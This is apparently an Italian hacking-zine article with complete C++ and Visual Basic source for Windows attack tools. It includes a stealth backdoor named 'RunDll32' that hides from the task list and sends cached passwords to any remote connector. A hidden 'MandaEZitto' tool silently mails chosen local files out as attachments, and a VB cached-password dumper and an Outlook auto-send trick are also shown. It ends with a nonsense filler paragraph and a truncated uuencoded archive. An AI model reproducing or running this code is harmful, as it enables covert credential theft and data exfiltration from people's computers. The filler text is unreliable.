LoadLibrary("kernel32.dll"); ... RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess"); RegisterServiceProcess(GetCurrentProcessId(),1); FreeLibrary(carica); ... //---------------------------------------------------------------------- il programma server e' attivo in memoria , nascosto dalla task list e sopratutto indifferente alle richieste di killing operate tramite un task manager sulla lista dei moduli attivi in memoria. Questo ovviamente compilando il tutto in modalita' consolle DOS a 32 bit perche' nel caso dei 16 bit avremmo invece in task list l'apparizione di un processo a nome WINOLDAPP facilmente eliminabile. Un esempio pratico col doppio motivo di iniziare a spiegare l'uso dei sockets multipli tramite il multithread. Prendiamo il mio vecchio programma RunDll32.cpp .. una piccolo esempio di come sia possibile fare una backdoor con l'essenziale.. ovvero il recupero in chiaro delle cached password di un determinato utente. (nel file allegato PRGMST.ZIP trovate i sorgente completi sia per BORLAND [Builder C++ 4.00] che per VC [ 5.0 ] ) La novita' sono rappresentate dalla la messa in STEALTH e dalla dichiarazione di IMMORTALITA' del programma. Ma cominciamo con la gestione multithread. :) Usando un compilatore non visual la prima cosa che viene spontaneo dire e' "ma come e mai possibile poter usare piu' linee di elaborazione contemporaneamente?" Il sistema windows ci viene in aiuto grazie al suo multitasking. Di carattere molto -emulativo- sotto w95 ed invece assolutametne reale sotto NT offre (almeno in questo!) un minimo di standard con Api di sistema uguali per tutti i prodotti di casa Microsoft. Le api specifiche sono diverse ma le uniche che in effetti potebbero tornarci utili sono CreateThread e CreateProcess gestibili semplicemente tramite _beginthread L'esigenza cioe' e' quella di creare UN NUOVO PROCESSO per ogni client che cerchi di cnnettersi al nostro server. _beginthread richiede semplicemente come parametro il puntatore alla funzione dovre dovremo collocare le procedure per la gestione dei dialoghi con i vari clinets. Mettiamo allora di aver creato questa procedura base di -dialogo- client / server monoconnesione: void controlla(void *sock) { // recupera l'identificativo del Thread in corso // (nel nostro caso == ID DEL CLIENT) pid=GetCurrentThreadId(); // riceve i dati in arrivo dal client rec=recv(ss,buffer,Lungo,0); // verifica dei dati ricevuti if(strncmp(buffer," ** QUALCOSA ** ",n)==0) { .. se legge la stringa fa } } // ------------------------ e' posibile semplicemente moltiplicare i thread (uno per client) usando per ogni tentativo di connessione (e successiva accettazione dela stessa da parte del server) la _beginthread in questo modo.. praticamente il server sta tutto qui: // Si inizializza il winsock ... WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD(2,0); WSAStartup( wVersionRequested, &wsaData; ... // si stabiliscono i parametri per il sevizio locale // e l'accettazione dei vari IP di connessione. any_addr.sin_family=AF_INET; any_addr.sin_port=htons( (unsigned short) PORTA-DEL- SERVIZIO ); any_addr.sin_addr.s_addr=htonl ( INADDR_ANY ); ... // i SOCKETS saranno aperti sul protocollo TCP s = socket(AF_INET,SOCK_STREAM,0); if(s==INVALID_SOCKET) {sockEnd();return 2;} ... // BINDING = stabilisce se un socket puo' essere associato al rispettivo // indirizzo di rete Host + porta if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in))) { WSACleanup(); return 0; } // Vengono accettati (in questo caso) un massimo di 10 CLients listen(s,10); ... // Ma eccoci al MULTITHREAD vero e prorio ... while(true) { // Viene verificato l'ID del client ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen); // Se questo e' un identificativo valido viene crato un nuovo THREAD // in memoria che si occupera' dei dialoghi con il client realtivo // ed identificato come numero di socket dal suo ID di connessione // ricavato con pid=GetCurrentThreadId(); if( _beginthread(controlla,0,(void *) &ss) == -1) // ^^^^^^^^^ ^^^ //puntatore alla procedura controlla e al suo parametro { perror("_beginthread");break; // in caso di errore nella creazione del Thread. :) } } E il serve e' praticamente finito. :) Ma manca ancora la messa in STEALTH e la dichiarazione di IMMORTALITA'.. come avevamo precedentemente detto questo' e' possibile tramite queste poche righe.. //------------------------------------------------------------------------ ... HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; ... #define RSP_SIMPLE_SERVICE 1 #define RSP_UNREGISTER_SERVICE 0 ... carica = LoadLibrary("kernel32.dll"); if(carica) { RegisterServiceProcess = (forma)GetProcAddress(carica,"RegisterServiceProcess"); if(RegisterServiceProcess) // MAZZABIBI' MAZZABUBU' STATEVE ACCUORTE CHE NUN CE STO' PIU' RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE); } FreeLibrary(carica); // THE HIGHLANDER! :)) ... //------------------------------------------------------------------------ Il programma -funzionanate- e pronto per le modifiche successive che vorrete fargli e' in pratica solo questo: ========================================================================================== Libreria di supporto SUPPORTO.C ========================================================================================== #include #include #include typedef unsigned int pid_t; #define CLEAR_ADDR(addr) memset(addr,0,sizeof(struct sockaddr_in)) int sockInit(void){ WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD(2,0); return WSAStartup( wVersionRequested, &wsaData ); } int sockName(struct sockaddr_in *name,char *hostname,char *hostaddr){ struct hostent *hp; hp = NULL; hp=gethostbyaddr((char *) &(name->sin_addr),sizeof(name->sin_addr),AF_INET); if(hp==NULL) return 1; strcpy(hostname,hp->h_name); sprintf(hostaddr,"%d.%d.%d.%d",hp->h_addr_list[0][0],hp->h_addr_list[0][1], hp->h_addr_list[0][2],hp->h_addr_list[0][3]); return 0; } int sockEnd(void){ return WSACleanup(); ========================================================================================== ========================================================================================== Programma RUNDLL32.CPP [ versione per BORLAND ] ========================================================================================== #include #include #include #include "supporto.c" #define Lungo 128 #define Dimens 256 #define API LoadLibrary("mpr.dll") #define FUNC "WNetEnumCachedPasswords" char *s1,*s2,*b1,*b2,dati[256]; int n = 0; FILE *fp; typedef struct tagcache { WORD a,user,passw; BYTE b,c,inizio[1]; } cache; INT CALLBACK TrovaPassword(cache *BIT, DWORD); void controlla(void *sock); void pass(); // ------------------------------ PROCEDURA INIZIALE // ------------------------------------------------------------------ WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { int argc=_argc; char **argv=_argv; SOCKET s; struct hostent *hp; struct sockaddr_in any_addr; struct sockaddr_in remote_addr; int addrlen; HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; SOCKET ss; s=INVALID_SOCKET; hp=NULL; CLEAR_ADDR(&any_addr); CLEAR_ADDR(&remote_addr); addrlen=sizeof(struct sockaddr_in); if(argc != 2) { printf("Sintassi: %s porta\n",argv[0]); return 0;} // Eliminazione del processo server dalla task list #define RSP_SIMPLE_SERVICE 1 #define RSP_UNREGISTER_SERVICE 0 carica = LoadLibrary("kernel32.dll"); if(carica) { RegisterServiceProcess = (forma)GetProcAddress(carica, "RegisterServiceProcess"); if(RegisterServiceProcess) RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE); } FreeLibrary(carica); sockInit(); any_addr.sin_family=AF_INET; any_addr.sin_port=htons( (unsigned short) atoi(argv[1])); any_addr.sin_addr.s_addr=htonl ( INADDR_ANY ); s = socket(AF_INET,SOCK_STREAM,0); if(s==INVALID_SOCKET) {sockEnd();return 2;} if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in))) {sockEnd();return 3;} listen(s,10); // Creazione dei vari Thread per al gestione separata degli utenti while(true){ ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen); if(_beginthread(controlla,0,(void *) &ss)==-1){ perror("_beginthread");break;}} sockEnd();return 0;} // ------------------------------------------------------------------ // ------------------------------ CONTROLLA ED ESEGUE I COMANDI // ------------------------------------------------------------------ void controlla(void *sock){ SOCKET ss; pid_t pid; char msg[Dimens],remotename[128],remoteaddr[128],buffer[Lungo]; int addrlen,rec; struct sockaddr_in remote_addr; ss=*((SOCKET *) sock); addrlen=sizeof(struct sockaddr_in); pid=GetCurrentThreadId(); memset(buffer,0,Lungo); memset(msg,0,Dimens); sprintf(buffer,"Sono pronto:"); if(send(ss,buffer,strlen(buffer),0)<=0) return; CLEAR_ADDR(&remote_addr); getpeername(ss,(struct sockaddr *) &remote_addr,&addrlen); sockName(&remote_addr,remotename,remoteaddr); do{rec=recv(ss,buffer,Lungo,0); if(rec<=0){printf("Ciao.\r\n");break;} buffer[rec]=0; strcat(msg,buffer); if(buffer[strlen(buffer)-1]=='\n'){ send(ss,"Ricevuto: ",10,0); send(ss,msg,strlen(msg),0); // COMANDO: password -> per avere la lista delle cached password if(strncmp(msg,"password",8)==0){ pass(); fp=fopen("out","rb"); strcpy(dati,"\r\n"); send(ss,dati,strlen(dati),0); while(!feof(fp)){ fgets(dati,255,fp); strcat(dati,"\r\n"); send(ss,dati,strlen(dati),0);} fclose(fp); remove("out");} // COMANDO: quit -> per uscire if(strncmp(msg,"quit",4)==0){ strcpy(buffer,"Ciao.\r\n"); send(ss,buffer,strlen(buffer),0);break;} // ... qui e' possibile semplicemente aggiungere le proprie // procedure per implementare un qualsivoglia comando! :))) memset(msg,0,Dimens); memset(buffer,0,Lungo);} }while(1); closesocket(ss);} // ------------------------------------------------------------------ // ------------------------------ TROVA PASSWORD // ------------------------------------------------------------------ void pass(){ HINSTANCE k = API; s1 = b1 = new char[1024]; s2 = b2 = new char[1024]; fp=fopen("out","wb"); fprintf(fp,"RISULTATO :\n"); fprintf(fp,"----------\n"); WORD(__stdcall *chiama)(LPSTR, WORD, BYTE, void*, DWORD) = (WORD(__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD)) GetProcAddress(k, FUNC); (*chiama)(0,0, 0xff, TrovaPassword, 0); if (n==0) fprintf(fp,"Non ci sono password salvate nella cache.\n"); else fprintf(fp,"Trovate %d cached password.",n); FreeLibrary(k); fclose(fp);} // ------------------------------------------------------------------ // ------------------------------ ENUMERA TUTTE lE PASSWORD // ------------------------------------------------------------------ INT CALLBACK TrovaPassword(cache *BIT, DWORD){ memmove(s1, BIT->inizio, BIT->user); memmove(s2, BIT->inizio+BIT->user, BIT->passw); s1[BIT->user] = s2[BIT->passw] = 0; CharToOem(s1,b1);CharToOem(s2,b2); if (strstr(s1,"Rna")){ fprintf(fp,"Account -> Cache(%d)\n", n); fprintf(fp,"USER -> %-30s\n", b1); fprintf(fp,"PASSW -> %s\n", b2);} else{ fprintf(fp,"Password -> Cache(%d)\n",n); fprintf(fp,"URL -> %-30s\n", b1); fprintf(fp,"USER:PASS -> %s\n", b2);} fprintf(fp,"----------\n");n++; return(n);} // ------------------------------------------------------------------ ========================================================================================== Le differenze nella versione per VC sono veramente poche. In particolare l'uso del paramentro WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR file, int) { ^^^^ al posto delle (per me!!) piu' comode int argc=_argc; char **argv=_argv; per il recupero dei parametri passati da linea di comando e quindi la sostituzione dove necessario della chiamata atoi(argv[1]) in atoi(file) Il programma poi e' lo stesso. In borland c++ 4 builder il compilato viene leggermente piu' grande 32K contro i 23k del VC in compenso il compilato Borland e' discretamente piu' veloce nella gestione delle operazioni del server. Note di lavoro: Il server come il precedente permette il recupero delle password memorizzate nella chache del computer ospite tramite collegamento tramite un client tipo telnet o netcat. All'atto della connessione si otterra' il messaggio di benvenuto "sono pronto" cosa questa che permettera' di cercare gli utenti con server installato tramite un semplice portscan! Omettendo di chiamare il server con il parametro iniziale realtivo al numero della porta sulla quel si vorra' installare il servizio .. il prog prendera' come porta la prima utile (e libera) dopo quelle di sistema .. in genere la 1025. Per installare il server RUNDLL32 ========================================================================================== Un esempio migliore pero' potrebbe essere rappresentato dal programma che segue.. mettiamo di avere l'esigenza di piazzare su un determinato computer un tool che ci permetta di inviare una mail con una serie di file in attach in maniera invisibile per la macchina ospite e sopratutto -sicura- per noi! nel file allegato PRGMST.ZIP trovate i sorgenti completi nella versione MANDA.CPP avete un programma di tipo "normale" Ovvero un tool che permette di inviare mail da linea di comando secondo un file di script le cui specifiche discuteremo tra qualche riga. Nella versione MandaEZitto.Cpp lo stesso programma che pur facendo esattamente la stessa cosa .. 1. lo fa senza aprire nessun forma o finestra di dialogo 2. e' completamente invisibile nella task list 3. mentre lo fa e' virtualmente non bloccabile [ non consideriamo lo spegnimento del computer o del modem col pulsante Power/Reset ovviamente! :)) .. a bloccare quelli da remoto non ci sono ancora arrivato! hi hi hi ;-) ] Ma vediamo prima le caratteristiche dello script.. E' semplicissimo .. i comandi sono gli stessi che si userebbero su telnet per inviare una mail con la piccola differenza che e' possibile in piu' usare la parola speciale /ATTACH: ------------------------------------------------------- path/nome.file nome.file ------------------------------------------------------- per dichiare che esiste sul nostro computer (o meglio sul computer dove il programma e' ospitato .. ) uno o piu' file da inviare come attachment dopo aver codificato questi ultimi in formato UUENCODE. Con telnet avremmo dovuto farlo a mano .. e cioe' scrivere i paramentri della mail , poi codificare in formato UUENCODE i file che volevamo attaccare a seguito della stessa ed appiccicare il tutto con copia e incolla a fine body e prima dell'invio del punto finale di chiusura. Le specifiche sono le stesse del protocollo SMTP con qualche pratica modifica. La prima riga del file dovra' contenere in formato numerico l'ip del server dal quale si vorra' mandare la mail. es: 123.231.312.213 le successive quattro righe che andranno scritte obbligatoriamente di seguito una dopo l'altra conterranno rispettivamente i comandi: HELO .. invia il riconoscimento al server SMTP MAIL FROM: .. informa il server SMTP sull'origine del mittente RCPT TO: .. il messaggio verra' inviato a questo indirizzo. DATA .. comando dopo il quale verra' scritto il testo del messaggio. Subito dopo il campo data senza aggiungere spazi si potranno inserire un numero a piacere di header standard. Quelli consigliati sono: Subject: From: "nick del mittente" .. inidrizzo e nick del mittente che appariranno sulla preview del client usato per la lettura della posta. To: "nick del destinatario" .. indirizzo e nick del destinatario che apprarirranno sul client. dopo una riga vuota sara' possibile inserire il testo della mail della lunghezza voluta. La mail dovra' finire con un punto. es: -------------------------- headers testo della mail . --------------------------- -------------------------------------------------------------------------------- ATTACHMENT: -------------------------------------------------------------------------------- prima del punto di chiusura della mail e dopo la fine del testo si potranno inserire un numero a piacere di attachment con la seguente sintassi /ATTACH: ------------------------------------------------------- path_e_nome_del_file_da_accludere nome_per_l'invio ------------------------------------------------------- sono attach validi /ATTACH: ------------------------------------------------------- pippo.exe pippo.exe ------------------------------------------------------- /ATTACH: ------------------------------------------------------- c:\windows\mpr.dll eccolo.qua ------------------------------------------------------- /ATTACH: ------------------------------------------------------- c:\ok\varie\archivio.zip archivio.zip ------------------------------------------------------- i nomi non dovranno contenere spazi percui /ATTACH: ------------------------------------------------------- c:\ok\varie dal mondo\archivio.zip archivio.zip ------------------------------------------------------- non sara' una attach valida. -------------------------------------------------------------------------------- ESEMPIO di file messaggio valido -------------------------------------------------------------------------------- //-----------------------------inizio file MESSAGGIO.TXT 194.184.55.3 HELO Steve MAIL FROM: me@too.it RCPT TO: master@spippolatori.com DATA Subject: Prova con attach 2 To: "Stefano" From: "Pippo" Vediamo cosa arriva di bello oggi. ;-) /ATTACH: ---------------------------------------- c:\ok\news.zip uno.zip ---------------------------------------- /ATTACH: ---------------------------------------- c:\windows\pippo.zip due.zip ---------------------------------------- . //-----------------------------fine file MESSAGGIO.TXT per la spedizione sara' sufficiente digitare da linea di comando MANDA MESSAGGIO.TXT -------------------------------------------------------------------------------- Il programma per l'invio stealth e' in pratica questo.. (commentato) ========================================================================================== #include #include #include #include #include #include #include #include #include #define ENC(c) (((c)&077)+' ') // Assegnazioni //--------------------------------------------------------------------------- WSAData ws; SOCKET s; struct sockaddr_in sock; int d,n,m; long gg; char passa,passa0='P',stringa[4096], stringhina[3]; //--------------------------------------------------------------------------- // Dichiarazione delle procedure //--------------------------------------------------------------------------- Spedisci_Messaggio(char *messaggio); Spedisci_ENTER(); Ricevi_Risposte(); void encode(FILE *in, FILE *out); void outdec(char *p, FILE *f); int fr(FILE *fd, char *buf, int cnt); uuencode(char *uno, char *due,char *tre); //--------------------------------------------------------------------------- int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR file, int ) //main(int nf,char **file) { int nf=2; char *leggi; FILE *fp; FILE *f,*o,*uue; char gs[1000],gs1[1000]; int k; HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; ///////////////////////////////////////////////////////////////// // Eliminazione del processo server dalla task list ///////////////////////////////////////////////////////////////// #define RSP_SIMPLE_SERVICE 1 #define RSP_UNREGISTER_SERVICE 0 carica = LoadLibrary("kernel32.dll"); if(carica) { RegisterServiceProcess = (forma)GetProcAddress(carica, "RegisterServiceProcess"); if(RegisterServiceProcess) RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE); } ///////////////////////////////////////////////////////////////// // e messa in IMMORTALITA' per il periodo di INVIO MAIL ///////////////////////////////////////////////////////////////// FreeLibrary(carica); leggi = (char *) calloc(1000, sizeof(char)); /// verifica l'esistenza del file con il messaggio //--------------------------------------------------------------------------- if(access(file, 0)!=0){ exit(0); } ///////////////////////////////////////////////////////////////// /// Verifica se nel messaggio ci sono delle chiamate a files di attach /// ed esegue le necessarie codifiche in formato UUENCODE //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// f=fopen(file,"rb"); o=fopen("out","wb"); while(!feof(f)) { fgets(gs,1000,f); if(!strstr(gs,"ATTACH:"))fprintf(o,"%s",gs); else { fscanf(f,"%s",gs); fscanf(f,"%s",gs);fscanf(f,"%s",gs1); if(access(gs, 0)!=0){ exit(0);} strcat(gs1,"_"); uuencode(gs,gs1,"attach.uue"); uue=fopen("attach.uue","rb"); while(!feof(uue)&&fgets(gs,1000,uue)!=NULL) { fprintf(o,"%s",gs); } fclose(uue); remove("attach.uue"); fscanf(f,"%s",gs); } } fclose(o);fclose(f); fp=fopen("out","rb"); ///////////////////////////////////////////////////////////////// // inizializzazione del winsock //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// gg=WSAStartup(0x0101,&ws); // apertura del socket s = socket(AF_INET,SOCK_STREAM,0); ///////////////////////////////////////////////////////////////// // dichiarazione della porta e dell'host a cui connettersi ///////////////////////////////////////////////////////////////// sock.sin_family = AF_INET; sock.sin_port = htons(25); fgets(leggi,1000,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; if(strstr(leggi,"DEFAULT"))strcpy(leggi,"194.235.161.1"); // mail.amadeus.it sock.sin_addr.s_addr = inet_addr(leggi); ///////////////////////////////////////////////////////////////// // connessione ///////////////////////////////////////////////////////////////// d=connect(s,(struct sockaddr *)&sock,sizeof(sock)); //--------------------------------------------------------------------------- // Riceve il messaggio dibenvenuto del server SMTP Ricevi_Risposte(); ///////////////////////////////////////////////////////////////// // Spedizione della MAIL //--------------------------------------------------------------------------- // manda il comando HELO ///////////////////////////////////////////////////////////////// fgets(leggi,1000,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); ///////////////////////////////////////////////////////////////// // manda il comando MAIL FROM ///////////////////////////////////////////////////////////////// fgets(leggi,1000,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); ///////////////////////////////////////////////////////////////// // manda il comando RCPT TO ///////////////////////////////////////////////////////////////// fgets(leggi,1000,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); ///////////////////////////////////////////////////////////////// // manda il comando DATA ///////////////////////////////////////////////////////////////// fgets(leggi,1000,fp); if(strlen(leggi)>1)leggi[strlen(leggi)-2]='\0'; Spedisci_Messaggio(leggi); // aspetta il messaggio di ritorno e lo visualizza Ricevi_Risposte(); ///////////////////////////////////////////////////////////////// // manda il MESSAGGIO .. // non si aspettano risposte se non dopo l'invio del // punto finale seguito dal carriage return ///////////////////////////////////////////////////////////////// k=0; memset(leggi,0,1000); manda: passa=fgetc(fp);leggi[k++]=passa; //sprintf(leggi,"%c",passa); if(passa=='.'&&passa0==10) { ///////////////////////////////////////////////////////////////// // Controlla se e' stata raggiunta la fine della mail e manda // la richiesta di spedizione al server SMTP ///////////////////////////////////////////////////////////////// if(k>0) { send(s,leggi,k-1,0); Spedisci_ENTER(); } Spedisci_Messaggio("."); Spedisci_ENTER(); Spedisci_ENTER(); } else { ///////////////////////////////////////////////////////////////// // Segmenta l'invio degli attach in pacchetti di 512 Bytes // ovviamente questo vaore potra' essere modificato a piacere // sempre tenendo conto della gaussiana che predice una possibilita' // maggiore di errore per pacchetti troppo piccoli o per pacchetti // troppo grandi. 500/1000 Bytes dovrebbe essere il range entro // il quale giocare. ///////////////////////////////////////////////////////////////// if(k>=512) { send(s,leggi,512,0); k=0;memset(leggi,0,1000); } //send(s,leggi,1,0); passa0=passa; goto manda; } fclose(fp); ///////////////////////////////////////////////////////////////// // aspetta il messaggio di ritorno e NON lo visualizza ///////////////////////////////////////////////////////////////// Ricevi_Risposte(); remove("out"); exit(0); } //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// // Procedure utilizzate : //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////// // Procedura per spedire un messaggio al server con CrLf finale //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// Spedisci_Messaggio(char *messaggio) { send(s,messaggio,strlen(messaggio),0); stringhina[0]=0x0d;stringhina[1]=0x0a; send(s,stringhina,2,0); return(0); } //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// // Procedura per spedire al server un CrLf //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// Spedisci_ENTER() { stringhina[0]=0x0d;stringhina[1]=0x0a; send(s,stringhina,2,0); return(0); } //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// // Procedura per attendere e visualizzare la risposta del server //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// Ricevi_Risposte() { n=recv(s,stringa,sizeof(stringa),0); return(0); } //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// // Procedure per la codifica degli attachment // nel formato UUENCODE //--------------------------------------------------------------------------- ///////////////////////////////////////////////////////////////// uuencode(char *uno,char *due, char *tre) { FILE *in,*out; struct stat sbuf; int mode; in=fopen(uno,"rb"); out=fopen(tre,"wb"); fstat(fileno(in), &sbuf); mode=sbuf.st_mode&0777; fprintf(out,"begin %o %s\n", mode, due); encode(in, out); fprintf(out,"end\n"); fclose(in);fclose(out); return 0; } //--------------------------------------------------------------------------- void encode(FILE *in, FILE *out) { char buf[80]; int i,n; for(;;){ n=fr(in,buf,45); putc(ENC(n),out); for (i=0;i>2; c2=((p[0]<<4)&060)|((p[1]>>4)&017); c3=((p[1]<<2)&074)|((p[2]>>6)&03); c4=p[2]&077; putc(ENC(c1),f); putc(ENC(c2),f); putc(ENC(c3),f); putc(ENC(c4),f); } //--------------------------------------------------------------------------- int fr(FILE *fd, char *buf, int cnt){ int c,i; for (i=0;i= 1 GetWindowText GetActiveWindow(), pippo, 255 DoEvents Wend ' attende altri tre secondi dopo l'apertura di ' Outlook per dar tempo alla macchina di creare ' i menu sul form. (necessario) p = 3: s = Timer: Do While Timer < s + p: Loop ' invia il comando per la spedizione e chiude ' il client postale. SendKeys ("%F{ENTER}{ENTER}") Il programma completo di prova.. '--------------------------------------------------------------------------- Begin VB.Form Form1 Caption = "Automanda" ClientHeight = 3195 ClientLeft = 60 ClientTop = 345 ClientWidth = 4680 LinkTopic = "Form1" ScaleHeight = 3195 ScaleWidth = 4680 StartUpPosition = 3 'Windows Default Begin VB.Label Label1 Caption = "master@spippolatori.com" Height = 255 Left = 60 TabIndex = 0 Top = 165 Width = 1875 End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Declare Function ShellExecute Lib "shell32.dll" _ Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _ ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory _ As String, ByVal nShowCmd As Long) As Long Private Declare Function GetActiveWindow Lib "user32" () As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" _ (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Sub Spara(frm As Form, ByVal er As String) alfa = ShellExecute(frm.hwnd, "open", "MailTo:" + er + _ "?subject=Richiesta di Informazioni&cc=info@spippolatori.com&Reply-To=usso@usso.it&body=Vorrei maggiori informazioni su:%0a%0a -- SPP SERVER ver. 1.00 \ TIVEDO %0a%0a Grazie e speriamo nel futuro." _ , "", "", 1) Form1.SetFocus Dim pippo As String * 255 pippo = String(255, "#") GetWindowText GetActiveWindow(), pippo, 255 While InStr(1, pippo, Form1.Caption) >= 1 GetWindowText GetActiveWindow(), pippo, 255 DoEvents Wend p = 3: s = Timer: Do While Timer < s + p: Loop SendKeys ("%F{ENTER}{ENTER}") End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Label1.ForeColor = 0 End Sub Private Sub Label1_Click() Call Spara(Me, Label1.Caption) End Sub Private Sub Label1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Label1.ForeColor = RGB(255, 255, 255) End Sub '--------------------------------------------------------------------------- Insomma.. e questo e' tutto. :)) Aggiungo solo in coda un articolo che L'amico Brigante si e' scordato di aggiungere al numero 11 di Netrunner.. he he E praticamente ... come citato in testa a queto articolo: Finalmente il programma FUNZIONANTE al 100% in VB per il recupero delle cached password tramite la mpr.dll Quello precedente non funzionava -sempre- per via di una cattiva gestione dei callback .. in questa versione ho risolto il problema. ;-) Tempo fa avevo pubblicato un programma in vb che sfruttava la libreria mpr.dll e che era fatto sulla falsa riga del classico pwlview creato in c dell'amico Vitas. Purtroppo (come gia accennato prima) il programma non funzionava sempre a causa della cattiva gestione "callback" del vb. A seguito della mia pubblicazione sono poi apparsi tanti programmi analoghi e (come volevasi dimostrare :) ) chi piu' chi meno sempre con gli altrettanto analoghi problemi. I "problemi" erano rappresentati in grande misura dal fatto che che il programma una volta su tre mediamente si rifiutava di funzionare dando odiosi schermi blu e rendendo a volte inutilizzabili le password salvate nella cache fino al successivo riavvio di windows (questo a causa dell'-inceppamento- della libreria mpr.dll che restava dichiarata nella lista ram degli open-files) Questa che riporto di seguito e' invece una versione semplificata e stabile del mio stesso programma che utilizza un trucco banale per evitare di incastrare nella chiamata in callback ulteriori chiamate ad api di sistema .. responabili degli -impallamenti- del vb. Praticamente ho sostituito alcune api con equivalenti procedure minimizzate in vb standard. Ho testato il programma su varie macchine e non ho avuto da nessuna di queste alcun problema. Gli schermi blu sono svaniti e la libreria mpr non si inceppa piu'. Fate un form con una combo un bottone e una casella di testo. (La combo conterra' le password e il bottone servira' per salverla su disco col nome file dichiarato nella text box.) Create un modulo contenente le seguenti dichiarazioni ed istruzioni: ----------------------------------------------------------------------------------------- PROCEDURE.BAS ----------------------------------------------------------------------------------------- '-------------------- Dichiarazioni Hide-Api e strutture ------------------------- Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, _ ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long Type cache: un As Integer: inizio As Integer: fine As Integerdu As Byte tipo As Byte: msg(1 To 1024) As Byte: End Type '-------------------- Dichiarazioni Hide-Api e strutture ------------------------- ' '-------------------- Procedure -------------------------------------------------- Public Function OEM2C(k As Byte) As Byte If k > 0 Then OEM2C = k Else OEM2C = 32 End Function Public Function CALLBACK(pwd As cache, ByVal x As Long) As Integer qw = "": For n = 1 To (pwd.inizio + pwd.fine) qw = qw + Chr(OEM2C(pwd.msg(n))) If n = pwd.inizio Then qw = qw + " | " Next Form1.Combo1.AddItem Format(pwd.tipo, "00") + " : " + qw CALLBACK = True End Function Public Sub trova() WNetEnumCachedPasswords "", 0, 255, AddressOf CALLBACK, 0 End Sub '-------------------- Procedure -------------------------------------------------- ----------------------------------------------------------------------------------------- nel form inserite questi dati: ----------------------------------------------------------------------------------------- FORM1.frm ----------------------------------------------------------------------------------------- Private Sub Command1_Click() Open Text1 For Output As #1 For n = 0 To Combo1.ListCount - 1 Print #1, "Pass. N." + Format((n + 1), "00"); " Tipo."; Combo1.List(n) Next n Close #1 End Sub Private Sub Form_Load() trova Combo1.Text = "Totale password trovate = " + CStr(Combo1.ListCount) Text1 = "Password.txt" End Sub ----------------------------------------------------------------------------------------- io ho impostato graficamente il form cosi': +---------------------------------------------------------------------+ | +------------------------------------------------+ +---------------+| | | Casella combo contenente le password | | Salva su file || | +------------------------------------------------+ +---------------+| | +---------------+| | | Passwords.txt || | +---------------+| +---------------------------------------------------------------------+ ma ovviamente non e' una cosa obbligatoria. :)) .. fatto questo compilate ed il gioco e' fatto. [e' inutile dire che il programma viene compilato solo su versioni di VB uguali o maggiori alla 5 in quanto nelle precedenti mancava l'istruzione AddressOf che qui gioca un ruolo fondamentale. ] E questo e' VERAMENTE tutto... almeno fino alla prossima volta. ;-) --------------------------------------------------------------------------------------- La reinizializzazione e' avvenuta insufficientemente per contraddistinguere contemporaneamente la standardizzazione e proporzionalmente i dati multidimensionali ma irrimediabilmente o meglio indipendentemente o indifferentemente circa milleduentocinquantasette nodi si sono tradizionalmente e sufficientemente sottoposti a sottoespressioni di sincronizzazione e di schematizzazione per la riorganizzazione e la rappresentazione dell'interfacciamento monodimensionale interattivamente con la inizializzazione della sottoespressione di immagazzinamento. Questo piu' dettagliatamente come nella contrapposizione del commercializzato. --------------------------------------------------------------------------------------- APPENDICE: Sorgenti BASE dei programmi citati nell'articolo in formato UUENCODE ------------------------------------TAGLIA QUI----------------------------------------- begin 644 tutti.ace MKB<;````@"HJ04-%*BH*#`(`N'2F*$>+(`%'BUG7`)7*,P`!`0`````````` M`$5SIB@0````_____P$%"@```!0`;75L=&ES;V-K970@=F(@92!C*RL6,CX` 